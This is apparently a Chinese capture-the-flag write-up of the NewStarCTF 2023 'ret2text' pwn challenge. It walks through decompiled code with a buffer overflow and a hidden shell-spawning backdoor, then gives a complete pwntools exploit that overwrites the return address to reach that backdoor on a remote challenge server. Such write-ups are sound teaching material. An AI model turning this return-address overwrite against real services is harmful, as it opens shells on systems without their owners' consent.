NewStarCTF 2023 WEEK1|PWN ret2text

拖进IDA,查看

复制代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  init();
  puts("Welcome to NewStar CTF!!");
  puts("Show me your magic");
  read(0, buf, 0x100uLL);
  return 0;
}

main函数,里read函数,分配了32(0x20)个大小 指定了0x100,有栈溢出漏洞

复制代码
int backdoor()
{
  puts("Congratulations!!!");
  return execve("/bin/sh", 0LL, 0LL);
}

又发现了后门函数,

复制代码
; Attributes: bp-based frame

public backdoor
backdoor proc near
; __unwind {
endbr64
push    rbp
mov     rbp, rsp
lea     rax, s          ; "Congratulations!!!"
mov     rdi, rax        ; s
call    _puts
mov     edx, 0          ; envp
mov     esi, 0          ; argv
lea     rax, path       ; "/bin/sh"
mov     rdi, rax        ; path
call    _execve
nop
pop     rbp
retn
; } // starts at 4011FB
backdoor endp

查看起始地址 为4011FB

  • payload = b'a'*(0x20 + 0x8) + p64(0x4011FB)

完整exp:

复制代码
from __future__ import absolute_import
from pwn import *  
p=remote(u"node4.buuoj.cn",27131) 
payload = b'a'*(0x20 + 0x8) + p64(0x4011FB)
p.sendline(payload)
p.interactive()
相关推荐
牢姐与蒯7 小时前
Linux文件(三).Ext系列文件系统
linux·运维·服务器
懂软件的胡子个哥7 小时前
微信工单系统如何基于 WechatApi 做消息分流和状态流转
运维·分布式·微信·架构·企业微信
java_nnnn7 小时前
面试题(网络部分前传)-13问
服务器·网络·网络协议·tcp/ip·面试
码少女8 小时前
Linux--套接字编程
linux·服务器·网络
进击的荆棘8 小时前
Linux系统——进程控制(下)
linux·运维·服务器·进程
优化Henry8 小时前
学习笔记之关于MME不通问题归纳
运维·网络·学习·5g·信息与通信
考虑考虑15 小时前
数据库中的EXISTS
运维·数据库·后端
一个有温度的技术博主16 小时前
Linux 核心命令速查指南:从文件操作到系统运维
linux·服务器
天远数科17 小时前
零信任架构实战:基于天远全能消金报告构建自动化信贷评估网关
运维·人工智能·架构·自动化
2601_9623649717 小时前
面向设备厂商:Windows Hello 认证摄像头核心要点
windows·安全·电脑